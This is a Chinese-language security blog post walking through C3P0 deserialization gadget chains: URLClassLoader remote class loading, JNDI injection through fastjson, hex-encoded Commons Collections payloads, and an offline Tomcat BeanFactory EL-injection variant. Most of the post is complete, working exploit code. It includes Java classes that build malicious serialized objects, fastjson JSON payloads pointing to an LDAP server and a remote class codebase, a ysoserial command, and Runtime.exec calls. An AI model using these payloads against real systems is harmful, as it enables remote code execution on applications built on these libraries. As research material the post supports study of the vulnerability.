浅析C3P0攻击链
2023-03-09 21:09:36

# 前言

C3P0 是一个开源的 JDBC 连接池,它实现了数据源和 JNDI 绑定,支持 JDBC3 规范和 JDBC2 的标准扩展。目前使用它的开源项目有 Hibernate,Spring 等。

JDBC 是 Java DataBase Connectivity 的缩写,它是 Java 程序访问数据库的标准接口。
使用 Java 程序访问数据库时,Java 代码并不是直接通过 TCP 连接去访问数据库,而是通过 JDBC 接口来访问,而 JDBC 接口则通过 JDBC 驱动来实现真正对数据库的访问。

连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时 Java 在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。

# 环境搭建

1
2
3
4
5
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>

# 关于 C3P0 攻击链的利用方式

1、URLClassLoader 远程类加载
2、JNDI 注入
3、利用 HEX 序列化字节加载器进行反序列化攻击

# URLClassLoader

漏洞点在 PoolBackedDataSourceBase

readobject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private void readObject( ObjectInputStream ois ) throws IOException, ClassNotFoundException
{
short version = ois.readShort();
switch (version)
{
case VERSION:
// we create an artificial scope so that we can use the name o for all indirectly serialized objects.
{
Object o = ois.readObject();
if (o instanceof IndirectlySerialized) o = ((IndirectlySerialized) o).getObject();
this.connectionPoolDataSource = (ConnectionPoolDataSource) o;
}
this.dataSourceName = (String) ois.readObject();
// we create an artificial scope so that we can use the name o for all indirectly serialized objects.
{
Object o = ois.readObject();
if (o instanceof IndirectlySerialized) o = ((IndirectlySerialized) o).getObject();
this.extensions = (Map) o;
}
this.factoryClassLocation = (String) ois.readObject();
this.identityToken = (String) ois.readObject();
this.numHelperThreads = ois.readInt();
this.pcs = new PropertyChangeSupport( this );
this.vcs = new VetoableChangeSupport( this );
break;
default:
throw new IOException("Unsupported Serialized Version: " + version);
}
}

注意到

img

这里会先判断对象 o 是否是 IndirectlySerialized 类的对象或者是其子类的对象
调用 getobject 后强转换对象为 ConnectionPoolDataSource
但是该接口并不能反序列化

image-20230522144558281

去看下入口点 writeobject 处的写法
writeobject

image-20230522144609339

看下调用返回的对象
image-20230522144627000
是一个 ReferenceSerialized 的构造方法

举个不是很恰当的例子
ReferenceSerialized 是 “加强版” 的 ConnectionPoolDataSource

也就是说在序列化时,实际上的类进行了转换, ConnectionPoolDataSource -> ReferenceSerialized

再回到 readobject 调用的 IndirectlySerialized.getobject
位于 ReferenceIndirector
getObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public Object getObject() throws ClassNotFoundException, IOException
{
try
{
Context initialContext;
if ( env == null )
initialContext = new InitialContext();
else
initialContext = new InitialContext( env );

Context nameContext = null;
if ( contextName != null )
nameContext = (Context) initialContext.lookup( contextName );

return ReferenceableUtils.referenceToObject( reference, name, nameContext, env );
}
catch (NamingException e)
{
//e.printStackTrace();
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", e );
throw new InvalidObjectException( "Failed to acquire the Context necessary to lookup an Object: " + e.toString() );
}
}

这里是对环境变量上下文进行加载
我们关注 return 这里 ReferenceableUtils.referenceToObject ,跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public static Object referenceToObject( Reference ref, Name name, Context nameCtx, Hashtable env)
throws NamingException
{
try
{
String fClassName = ref.getFactoryClassName();
String fClassLocation = ref.getFactoryClassLocation();

ClassLoader defaultClassLoader = Thread.currentThread().getContextClassLoader();
if ( defaultClassLoader == null ) defaultClassLoader = ReferenceableUtils.class.getClassLoader();

ClassLoader cl;
if ( fClassLocation == null )
cl = defaultClassLoader;
else
{
URL u = new URL( fClassLocation );
cl = new URLClassLoader( new URL[] { u }, defaultClassLoader );
}

Class fClass = Class.forName( fClassName, true, cl );
ObjectFactory of = (ObjectFactory) fClass.newInstance();
return of.getObjectInstance( ref, name, nameCtx, env );
}
catch ( Exception e )
{
if (Debug.DEBUG)
{
//e.printStackTrace();
if ( logger.isLoggable( MLevel.FINE ) )
logger.log( MLevel.FINE, "Could not resolve Reference to Object!", e);
}
NamingException ne = new NamingException("Could not resolve Reference to Object!");
ne.setRootCause( e );
throw ne;
}
}

我们可以控制 fClassLocation ,最后通过 URLClassLoader 并初始化该实例来实现恶意代码执行

# Gadget

1
2
3
4
PoolBackedDataSourceBase#readObject->
ReferenceIndirector#getObject->
ReferenceableUtils#referenceToObject->
of(ObjectFactory)#getObjectInstance

在这里插入图片描述

# EXP

这里有个 getReference 方法,直接返回一个 Reference 对象

image-20230522145742572

我们可以通过该方法直接构造对象

这里我们获取 ConnectionPoolDataSource 类的私有属性,因为反序列化的是该类对象

1
2
3
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
connectionPoolDataSourceField.setAccessible(true);

按照 getReference 方法再重写一个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public class C3P01 {

public static class C3P0 implements ConnectionPoolDataSource, Referenceable{

@Override
public Reference getReference() throws NamingException {
return new Reference("Calc","Calc","http://127.0.0.1:8002/");
}

@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}

最后是两个常规方法,序列化和反序列化,但这里我们还需要把构造好的 connectionPoolDataSource 替换成我们本地的 Calc
所以这里再通过

1
connectionPoolDataSourceField.set(poolBackedDataSourceBase,lp);  //将对象进行修改

并把它写在序列化入口,然后在反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94


import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;


import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class C3P01 {

public static class C3P0 implements ConnectionPoolDataSource, Referenceable{

@Override
public Reference getReference() throws NamingException {
return new Reference("Calc","Calc","http://127.0.0.1:8002/");
}

@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}






public static void unserialize(byte[] bytes) throws Exception{
try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain)){
oin.readObject();
}
}

public static byte[] serialize(ConnectionPoolDataSource lp) throws Exception{
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
connectionPoolDataSourceField.setAccessible(true);
connectionPoolDataSourceField.set(poolBackedDataSourceBase,lp);


try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(poolBackedDataSourceBase);
return baout.toByteArray();
}

}

public static void main(String[] args) throws Exception{
C3P0 exp = new C3P0();
byte[] bytes = serialize(exp);
unserialize(bytes);
}

}

calc

1
2
3
4
5
6
7
import java.io.IOException;

public class Calc {
public Calc() throws IOException {
Runtime.getRuntime().exec("calc");
}
}

在这里插入图片描述

本白一开始的傻帽操作,把文件放包下了,一直不能弹计算器,郁闷 (真傻

# JNDI 注入

JndiRefForwardingDataSourcedereference() 方法中有 look,并且 jndiName 通过 getJndiName() 获取,可造成 JNDI 注入
在这里插入图片描述
先看下 getJnDIName

1
2
public Object getJndiName()
{ return (jndiName instanceof Name ? ((Name) jndiName).clone() : jndiName /* String */); }

判断是否是 name 类型,不是则返回 String 类型

继续向上找可以利用的点
inner()
在这里插入图片描述

找到 setLoginRimeout , 形参为 int
在这里插入图片描述

下面就是 WrapperConnectionPoolDataSourceJndiRefConnectionPoolDataSource 的同名函数
JndiRefConnectionPoolDataSourcesetLoginTimeout ,因为 wcpdsWrapperConnectionPoolDataSource 类下的,所以这里会调用 WrapperConnectionPoolDataSource 下的同名方法
在这里插入图片描述
这里会调用 getNestedDataSource() 对象
在这里插入图片描述
跟进后发现其实就是 JndiRefForwardingDataSource
在这里插入图片描述
在下一步就知道到这里
在这里插入图片描述

后面就会去加载我们传入的 jndiName

在这里插入图片描述

# Gadget

1
2
3
4
5
6
JndiRefConnectionPoolDataSource#setLoginTime ->
WrapperConnectionPoolDataSource#setLoginTime ->
JndiRefForwardingDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#inner ->
JndiRefForwardingDataSource#dereference() ->
Context#lookup

在这里插入图片描述

# EXP

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;

public class JNDI {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
"\"jndiName\":\"ldap://10.6.42.156:8085/NpgoGBfd\",\"LoginTimeout\":\"1\"}";
JSON.parse(payload);
}
}

# HEX 序列化

WrapperConnectionPoolDataSource 的构造方法下

在这里插入图片描述
调用了 C3P0ImplUtils.parseUserOverridesAsString

跟进

1
2
3
4
5
6
7
8
9
10
11
public static Map parseUserOverridesAsString( String userOverridesAsString ) throws IOException, ClassNotFoundException
{
if (userOverridesAsString != null)
{
String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1, userOverridesAsString.length() - 1);
byte[] serBytes = ByteUtils.fromHexAscii( hexAscii );
return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) );
}
else
return Collections.EMPTY_MAP;
}

userOverridesAsString 不为空进入 if
首先会用 substringuserOverridesAsString 进行截取,将 HASM_HEADER 头和最后一位的;扣掉
userOverridesAsString 是一个私有的常量

1
private final static String HASM_HEADER = "HexAsciiSerializedMap";

将十六进制转成字节数组,最后再强转为 map 对象

跟进 `fromByteArray

1
2
3
4
5
6
7
8
public static Object fromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
Object out = deserializeFromByteArray( bytes );
if (out instanceof IndirectlySerialized)
return ((IndirectlySerialized) out).getObject();
else
return out;
}

最后到

1
2
3
4
5
6
public static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
return in.readObject();
}

进行反序列化

# Gadget

在这里插入图片描述

1
2
3
4
5
WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource->
C3P0ImplUtils#parseUserOverridesAsString->
SerializableUtils#fromByteArray->
SerializableUtils#deserializeFromByteArray->
SerializableUtils

# EXP

这里用 CC4 和 CC6 举例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.beans.PropertyVetoException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class C3P0Hex_CC6 {


public static Map exp() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {

Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

HashMap<Object,Object> hashMap1=new HashMap<>();
LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1));

TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"Atkx");
HashMap<Object,Object> hashMap2=new HashMap<>();
hashMap2.put(tiedMapEntry,"bbb");
lazyMap.remove("Atkx");



Class clazz=LazyMap.class;
Field factoryField= clazz.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);

return hashMap2;
}


static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}

private static char toHexDigit(int h)
{
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
//System.err.println(h + ": " + out);
return out;
}

//将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}

//字节数组转十六进制
public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}

public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException, ClassNotFoundException {
String hex = toHexAscii(tobyteArray(exp()));
System.out.println(hex);

//Fastjson<1.2.47
// String payload = "{" +
// "\"1\":{" +
// "\"@type\":\"java.lang.Class\"," +
// "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
// "}," +
// "\"2\":{" +
// "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
// "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
// "}" +
// "}";
//低版本利用
String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}";
JSON.parse(payload);


}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class C3P0Hex_CC4 {

public static PriorityQueue CC4() throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesclass = templates.getClass();
//name字段
Field nameField = templatesclass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Atkx");

//恶意bytecode字段
Field bytecodeFiled = templatesclass.getDeclaredField("_bytecodes");
bytecodeFiled.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("H://Code/JavaSecurityCode/cc3/target/classes/calc.class"));
byte[][] codes = {code};
bytecodeFiled.set(templates,codes);


//工厂类字段
Field tfactoryField = templatesclass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl() {
});

//调用transformer任意方法的接口,此处通过InstantiateTransformer代替InvokerTransformer
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
new Class[]{ Templates.class},new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

priorityQueue.add(1);
priorityQueue.add(2);
return priorityQueue;

}

static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}

private static char toHexDigit(int h)
{
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
//System.err.println(h + ": " + out);
return out;
}

//将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}

//字节数组转十六进制
public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}

public static void main(String[] args) throws Exception {
String hex = toHexAscii(tobyteArray(CC4()));
System.out.println(hex);





//Fastjson<1.2.47
// String payload = "{" +
// "\"1\":{" +
// "\"@type\":\"java.lang.Class\"," +
// "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
// "}," +
// "\"2\":{" +
// "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
// "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
// "}" +
// "}";
//低版本利用
String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}";
JSON.parse(payload);
}
}

在这里插入图片描述

当然也可以使用 CB 链或其他链子

也可以通过加载反序列化对象来执行

1
java -jar .\ysoserial-all.jar CommonsCollections6 "open -a Calculator" > calc.ser
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;

public class C3P0_all {
public static void main(String[] args) throws IOException, ClassNotFoundException {
InputStream in = new FileInputStream("L:\\JavaSecurity\\ysoserial-0.0.6\\calc.ser");
byte[] data = toByteArray(in);
in.close();
String HexString = bytesToHexString(data, data.length);
System.out.println(HexString);

}

public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}

public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);

for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}

sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}

得到十六进制,直接去执行即可
在这里插入图片描述

# 不出网利用

当目标机器不出网,且没有 fastjson 相关依赖时,C3P0 该如何利用?

环境

1
2
3
4
5
6
7
8
9
10
11
12
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>


<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>

漏洞点位于 org.apache.naming.factory.BeanFactory

只有一个方法 getObjectInstance
回顾第一个链子 URL,会发现最后调用的就是该方法,而不出网的利用方式就是通过本地类的加载来进行 EL 表达式注入

在这里插入图片描述

将 URL 链子执行的地方改成 EL 表达式即可,其余不用变

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class C3P0_Local {
public static class C3P0 implements ConnectionPoolDataSource, Referenceable {

@Override
public Reference getReference() throws NamingException {
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));
return resourceRef;
}

@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}






public static void unserialize(byte[] bytes) throws Exception{
try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain)){
oin.readObject();
}
}

public static byte[] serialize(ConnectionPoolDataSource lp) throws Exception{
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
connectionPoolDataSourceField.setAccessible(true);
connectionPoolDataSourceField.set(poolBackedDataSourceBase,lp);


try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(poolBackedDataSourceBase);
return baout.toByteArray();
}

}

public static void main(String[] args) throws Exception{
C3P01.C3P0 exp = new C3P01.C3P0();
byte[] bytes = serialize(exp);
unserialize(bytes);
}
}

在这里插入图片描述

# 最后

链子整体不是很难,但是有点绕,尤其是 JNDI 部分有的对象不 debug 一下很难想象是怎么联系起来的,本文也是应该很早就写完了,奈何最近阳了,也是隔离了一段时间休养了一段,希望能把后面的时间都利用起来吧